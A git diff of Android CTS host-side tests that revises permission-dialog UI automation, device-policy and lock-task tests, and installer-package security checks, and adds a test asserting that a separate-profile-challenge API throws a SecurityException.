diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
old mode 100644
new mode 100755
index 351dcf0..0934b4d
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -33,7 +33,6 @@
import android.os.SystemClock;
import android.provider.Settings;
import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.Direction;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObject2;
@@ -47,7 +46,6 @@
import android.view.accessibility.AccessibilityNodeInfo;
import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
import android.widget.ScrollView;
-import android.widget.ListView;
import android.widget.Switch;
import androidx.test.InstrumentationRegistry;
@@ -78,7 +76,6 @@
private Context mContext;
private Resources mPlatformResources;
private boolean mWatch;
- private boolean mAutomotive;
protected static Instrumentation getInstrumentation() {
return InstrumentationRegistry.getInstrumentation();
@@ -262,7 +259,6 @@
PackageManager packageManager = mContext.getPackageManager();
mWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
- mAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
initPermissionToLabelMap(packageManager.isPermissionReviewModeEnabled());
UiObject2 button = getUiDevice().findObject(By.text("Close"));
@@ -299,36 +295,25 @@
protected void clickAllowButton() throws Exception {
scrollToBottomIfWatch();
- getUiDevice().wait(
- Until.findObject(mAutomotive
- ? By.res("android:id/button1")
- : By.res("com.android.packageinstaller:id/permission_allow_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.packageinstaller:id/permission_allow_button")).click();
}
protected void clickDenyButton() throws Exception {
scrollToBottomIfWatch();
- getUiDevice().wait(
- Until.findObject(mAutomotive
- ? By.res("android:id/button3")
- : By.res("com.android.packageinstaller:id/permission_deny_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.packageinstaller:id/permission_deny_button")).click();
}
protected void clickDontAskAgainCheckbox() throws Exception {
- getUiDevice().wait(
- Until.findObject(
- By.res("com.android.packageinstaller:id/do_not_ask_checkbox")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.packageinstaller:id/do_not_ask_checkbox")).click();
}
protected void clickDontAskAgainButton() throws Exception {
scrollToBottomIfWatch();
- getUiDevice().wait(
- Until.findObject(mAutomotive
- ? By.res("android:id/button2")
- : By.res("com.android.packageinstaller:id/permission_deny_dont_ask_again_button")),
- GLOBAL_TIMEOUT_MILLIS).click();
+ getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.packageinstaller:id/permission_deny_dont_ask_again_button")).click();
}
protected void grantPermission(String permission) throws Exception {
@@ -349,9 +334,12 @@
private void scrollToBottomIfWatch() throws Exception {
if (mWatch) {
- UiObject2 scrollable = getUiDevice().wait(
- Until.findObject(By.clazz(ScrollView.class)), GLOBAL_TIMEOUT_MILLIS);
- if (scrollable != null) scrollable.fling(Direction.DOWN);
+ getUiDevice().wait(Until.findObject(By.clazz(ScrollView.class)), GLOBAL_TIMEOUT_MILLIS);
+ UiScrollable scrollable =
+ new UiScrollable(new UiSelector().className(ScrollView.class));
+ if (scrollable.exists()) {
+ scrollable.flingToEnd(10);
+ }
}
}
@@ -362,7 +350,7 @@
scroller.setSwipeDeadZonePercentage(0.25);
return scroller.scrollTextIntoView(text);
} catch (UiObjectNotFoundException e) {
- return false;
+ throw new AssertionError("View with text '" + text + "' was not found!", e);
}
}
@@ -397,7 +385,7 @@
AccessibilityNodeInfo permItemView = findCollectionItem(permLabelView);
Assert.assertNotNull("Permissions item should be present", permItemView);
- click(permItemView, true);
+ click(permItemView);
waitForIdle();
@@ -419,24 +407,15 @@
if (granted != wasGranted) {
// Toggle the permission
- boolean willShowPopup = (wasGranted && legacyApp);
- if (mWatch) {
- if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
- toggleView.performAction(AccessibilityNodeInfo.ACTION_CLICK);
- } else {
- itemView.performAction(AccessibilityNodeInfo.ACTION_CLICK);
- }
+ if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
+ click(toggleView);
} else {
- if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
- click(toggleView, willShowPopup);
- } else {
- click(itemView, willShowPopup);
- }
+ click(itemView);
}
waitForIdle();
- if (willShowPopup) {
+ if (wasGranted && legacyApp) {
scrollToBottomIfWatch();
String packageName = getInstrumentation().getContext().getPackageManager()
.getPermissionControllerPackageName();
@@ -601,14 +580,13 @@
waitForIdle();
}
- private static void click(AccessibilityNodeInfo node, boolean awaitWindowsChanged) throws Exception {
- getInstrumentation().getUiAutomation().executeAndWaitForEvent(
- () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
- (AccessibilityEvent event) ->
- event.getEventType() ==
- (awaitWindowsChanged ? AccessibilityEvent.TYPE_WINDOWS_CHANGED
- : AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED)
- , GLOBAL_TIMEOUT_MILLIS);
+ private static void click(AccessibilityNodeInfo node) throws Exception {
+ getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+ () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
+ (AccessibilityEvent event) -> event.getEventType()
+ == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+ || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
+ GLOBAL_TIMEOUT_MILLIS);
}
private static AccessibilityNodeInfo findCollectionItem(AccessibilityNodeInfo current)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
index 12df59b8..79c03fb 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
@@ -41,14 +41,12 @@
private boolean mLeanback;
private boolean mWatch;
- private boolean mAutomotive;
@Before
public void initialize() {
PackageManager pm = getInstrumentation().getContext().getPackageManager();
mLeanback = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
mWatch = pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
- mAutomotive = pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
@Test
@@ -491,20 +489,7 @@
@Test
public void testNoResidualPermissionsOnUninstall_part1() throws Exception {
// Grant all permissions
- String[] permissions;
- if (mWatch) {
- // The permission labels of READ_SMS and CALL_PHONE are too long to display on watches,
- // and thus they got truncated there and can't be matched by grantPermissions().
- permissions = new String[] {
- Manifest.permission.WRITE_CALENDAR,
- Manifest.permission.WRITE_CONTACTS,
- Manifest.permission.WRITE_EXTERNAL_STORAGE,
- Manifest.permission.RECORD_AUDIO,
- Manifest.permission.BODY_SENSORS,
- Manifest.permission.ACCESS_COARSE_LOCATION,
- Manifest.permission.CAMERA};
- } else {
- permissions = new String[] {
+ grantPermissions(new String[] {
Manifest.permission.WRITE_CALENDAR,
Manifest.permission.WRITE_CONTACTS,
Manifest.permission.WRITE_EXTERNAL_STORAGE,
@@ -513,9 +498,8 @@
Manifest.permission.RECORD_AUDIO,
Manifest.permission.BODY_SENSORS,
Manifest.permission.ACCESS_COARSE_LOCATION,
- Manifest.permission.CAMERA};
- }
- grantPermissions(permissions);
+ Manifest.permission.CAMERA
+ });
}
@Test
@@ -672,14 +656,13 @@
private void assertPermissionsGrantState(String[] permissions, int grantState) {
for (String permission : permissions) {
- assertEquals(
- "Permission [" + permission + "]", grantState,
- getInstrumentation().getContext().checkSelfPermission(permission));
+ assertEquals(grantState, getInstrumentation().getContext()
+ .checkSelfPermission(permission));
}
}
private void denyWithPrejudice() throws Exception {
- if (mLeanback || mWatch || mAutomotive) {
+ if (mLeanback || mWatch) {
clickDontAskAgainButton();
} else {
clickDontAskAgainCheckbox();
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index 9233605..e5a8a89 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -29,7 +29,7 @@
LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
# sign this app with a different cert than CtsPermissionDeclareApp
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
index 09994d0..891925f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
@@ -48,6 +48,19 @@
}
/**
+ * Test that we can set the installer package name.
+ */
+ public void testSetInstallPackage() {
+ // Pre-condition.
+ assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
+
+ getPackageManager().setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE);
+
+ // b/150857253, this no longer works without the permission, so assert null
+ assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
+ }
+
+ /**
* Test that we fail if trying to set an installer package with an unknown
* target package name.
*/
@@ -91,4 +104,23 @@
assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
}
+
+ /**
+ * Test that we fail if trying to set an installer package that is not
+ * signed with the same cert as the currently set installer.
+ */
+ public void testSetInstallPackageConflictingInstaller() {
+ // Pre-condition.
+ assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
+
+ // Have the other package set the installer, under its cert.
+ Intent intent = new Intent();
+ intent.setAction(ACTION_SET_INSTALLER_PACKAGE_NAME);
+ intent.putExtra(EXTRA_PACKAGE_NAME, OTHER_PACKAGE);
+ intent.putExtra(EXTRA_INSTALLER_PACKAGE_NAME, OTHER_PACKAGE);
+ call(intent);
+
+ // b/150857253, this no longer works without the permission, so assert null
+ assertEquals(null, getPackageManager().getInstallerPackageName(OTHER_PACKAGE));
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
index 356f296..a5020f2 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
LOCAL_MODULE_TAGS := tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index b78cd07..868e20f 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -16,9 +16,6 @@
<configuration description="Config for CTS Backup host test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="backup" />
- <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
- <option name="user-type" value="system" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsFullbackupApp.apk" />
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index f9a861c..ecaa698 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -27,7 +27,7 @@
LOCAL_CTS_TEST_PACKAGE := android.adminhostside
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts arcts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts arcts vts general-tests sts
# Need the dependency to build/run the module solely by atest.
LOCAL_ADDITIONAL_DEPENDENCIES := $(TARGET_OUT_TESTCASES)/cts-current-api/current.api
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
old mode 100755
new mode 100644
index 86af199..6c5acb7
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -379,8 +379,6 @@
localBroadcastManager.registerReceiver(broadcastReceiver,
new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
- Thread.sleep(USER_SWITCH_DELAY);
-
try {
assertEquals(UserManager.USER_OPERATION_SUCCESS,
mDevicePolicyManager.stopUser(getWho(), userHandle));
@@ -411,13 +409,8 @@
LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
localBroadcastManager.registerReceiver(broadcastReceiver,
- new IntentFilter(BasicAdminReceiver.ACTION_USER_STARTED));
- broadcastReceiver.waitForBroadcastReceived();
- localBroadcastManager.unregisterReceiver(broadcastReceiver);
-
- // Register broadcast receiver for the remove action.
- localBroadcastManager.registerReceiver(broadcastReceiver,
new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
+
try {
assertEquals(UserManager.USER_OPERATION_SUCCESS,
mDevicePolicyManager.stopUser(getWho(), userHandle));
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
index 84dc6d6..99b97bd 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -96,7 +96,7 @@
public void tearDown() {
mContext.unregisterReceiver(mReceiver);
}
-
+
@Test
public void startLockTask() throws Exception {
Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
@@ -105,13 +105,6 @@
mUiDevice.waitForIdle();
}
- @Test
- public void testLockTaskIsActive() throws Exception {
- Log.d(TAG, "testLockTaskIsActive on host-driven test");
- waitAndCheckLockedActivityIsResumed();
- checkLockedActivityIsRunning();
- }
-
/**
* On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
* assume it's finished. Therefore, only use it once in a given test.
@@ -153,18 +146,6 @@
new String[0]);
}
- private void waitAndCheckLockedActivityIsResumed() throws Exception {
- mUiDevice.waitForIdle();
-
- // We need to wait until the LockTaskActivity is ready
- // since com.android.cts.deviceowner can be killed by AMS for reason "start instr".
- synchronized (mActivityResumedLock) {
- if (!mIsActivityResumed) {
- mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
- }
- }
- }
-
private void checkLockedActivityIsRunning() throws Exception {
assertTrue(isActivityOnTop());
assertEquals(ActivityManager.LOCK_TASK_MODE_LOCKED,
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 1bd898d..5d7010d 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -28,8 +28,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.legacy_legacy-support-v4 \
- ctstestrunner-axt \
- compatibility-device-util-axt
+ ctstestrunner-axt
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
index 5e4fb07..f305e86 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java
@@ -23,8 +23,6 @@
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
import android.test.InstrumentationTestCase;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
import java.lang.InterruptedException;
@@ -44,7 +42,6 @@
// We can't just register a broadcast receiver in the code because the broadcast
// may have been sent before this test is run. So we have a manifest receiver
// listening to the broadcast and writing to a shared preference when it receives it.
- @CddTest(requirement="3.2.3.4/C-0-1")
public void testOwnerChangedBroadcastReceived() throws InterruptedException {
final Semaphore mPreferenceChanged = new Semaphore(0);
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
index f20edcc..e092888 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PrimaryUserAdminHelper.java
@@ -41,8 +41,8 @@
ComponentName cn = PrimaryUserDeviceAdmin.ADMIN_RECEIVER_COMPONENT;
if (mDpm.isAdminActive(cn)) {
mDpm.removeActiveAdmin(cn);
- // Wait until device admin is not active (with 5 minutes timeout).
- for (int i = 0; i < 5 * 60 && mDpm.isAdminActive(cn); i++) {
+ // Wait until device admin is not active (with 2 minutes timeout).
+ for (int i = 0; i < 2 * 60 && mDpm.isAdminActive(cn); i++) {
Thread.sleep(1000); // 1 second.
}
}
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.mk b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.mk
similarity index 65%
rename from hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.mk
rename to hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.mk
index 182ff82..e0e7c4d 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.mk
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2019 The Android Open Source Project
+# Copyright (C) 2016 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -12,29 +11,31 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
+
+LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.test.rules \
- android-support-test \
- compatibility-device-util-axt \
- ub-uiautomator
+LOCAL_PACKAGE_NAME := CtsSeparateProfileChallengeApp
+LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := ReviewPermissionHelper
-LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_JAVA_LIBRARIES := \
+ android.test.runner.stubs \
+ cts-junit \
+ android.test.base.stubs \
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
+ ub-uiautomator
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
similarity index 67%
copy from tests/tests/telephony4/AndroidManifest.xml
copy to hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
index aa4221f..6d1c14f 100644
--- a/tests/tests/telephony4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2016 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -15,18 +15,16 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.telephony4.cts">
+ package="com.android.cts.separateprofilechallenge" >
+
+ <uses-sdk android:minSdkVersion="27"/>
<application>
<uses-library android:name="android.test.runner" />
- </application>
+ <uses-permission android:name="WRITE_SECURE_SETTINGS"/>
+ </application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.telephony4.cts"
- android:label="CTS tests of android.telephony4">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
- </instrumentation>
-
+ android:targetPackage="com.android.cts.separateprofilechallenge"
+ android:label="Separate Profile Challenge Permission CTS tests"/>
</manifest>
-
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
new file mode 100644
index 0000000..1b0378b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.separateprofilechallenge;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+import androidx.test.runner.AndroidJUnitRunner;
+
+import static org.junit.Assert.assertNotNull;
+
+public class SeparateProfileChallengePermissionsTest extends AndroidTestCase {
+
+ public void testSeparateProfileChallengePermissions() throws Exception {
+ DevicePolicyManager dpm = (DevicePolicyManager)
+ mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ assertNotNull(dpm);
+ try {
+ dpm.isSeparateProfileChallengeAllowed(0); /* Try to use USER_SYSTEM */
+ fail("The user must be system to call isSeparateProfileChallengeAllowed().");
+ } catch (SecurityException ignore) {
+ // That's what we want!
+ } catch (NoSuchMethodError err) {
+ // API unavailable - pass
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
index 67fa271..7c7f94b 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -23,9 +23,7 @@
import android.app.Service;
import android.content.Intent;
import android.os.Binder;
-import android.os.Handler;
import android.os.IBinder;
-import android.os.Looper;
import android.os.Parcel;
import android.os.Process;
import android.os.RemoteException;
@@ -45,9 +43,7 @@
throws RemoteException {
switch (code) {
case FIRST_CALL_TRANSACTION:
- new Handler(Looper.getMainLooper()).post( () -> {
- Process.killProcess(Process.myPid());
- });
+ Process.killProcess(Process.myPid());
return true;
}
return super.onTransact(code, data, reply, flags);
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index 65c952f..f39dbbe 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -38,7 +38,7 @@
assertEquals(Collections.singletonList("test.package"),
mDevicePolicyManager.getKeepUninstalledPackages(mIncomingComponentName));
assertEquals(123, mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
- assertSystemPoliciesEqual(SystemUpdatePolicy.createPostponeInstallPolicy(),
+ assertSystemPoliciesEqual(SystemUpdatePolicy.createWindowedInstallPolicy(123, 456),
mDevicePolicyManager.getSystemUpdatePolicy());
assertThrows(SecurityException.class, () -> {
mDevicePolicyManager.getParentProfileInstance(mIncomingComponentName);
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index ce8736f..b42b2bd 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -47,7 +47,7 @@
mDevicePolicyManager.setKeepUninstalledPackages(mOutgoingComponentName,
Collections.singletonList("test.package"));
mDevicePolicyManager.setSystemUpdatePolicy(mOutgoingComponentName,
- SystemUpdatePolicy.createPostponeInstallPolicy());
+ SystemUpdatePolicy.createWindowedInstallPolicy(123, 456));
PersistableBundle b = new PersistableBundle();
mDevicePolicyManager.transferOwnership(mOutgoingComponentName, INCOMING_COMPONENT_NAME, b);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 2b324e7..83e8de2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -573,10 +573,6 @@
// Reboot while in kiosk mode and then unlock the device
rebootAndWaitUntilReady();
- // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
- runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
- "testLockTaskIsActive", mPrimaryUserId);
-
// Try to open settings via adb
executeShellCommand("am start -a android.settings.SETTINGS");
@@ -627,8 +623,7 @@
if (!mHasFeature) {
return;
}
- // Disabled due to 145932189
- // executeDeviceOwnerTest("SystemUpdatePolicyTest");
+ executeDeviceOwnerTest("SystemUpdatePolicyTest");
}
public void testWifiConfigLockdown() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 0b8cc41..d551872 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -297,12 +297,10 @@
}
private void simulateUserInteraction(int timeMs) throws Exception {
- final long endTime = System.nanoTime() + TimeUnit.MILLISECONDS.toNanos(timeMs);
final UserActivityEmulator helper = new UserActivityEmulator(getDevice());
- while (System.nanoTime() < endTime) {
+ for (int i = 0; i < timeMs; i += timeMs/10) {
+ Thread.sleep(timeMs/10);
helper.tapScreenCenter();
- // Just in case to prevent busy loop.
- Thread.sleep(100);
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
new file mode 100644
index 0000000..ef5e7c3
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
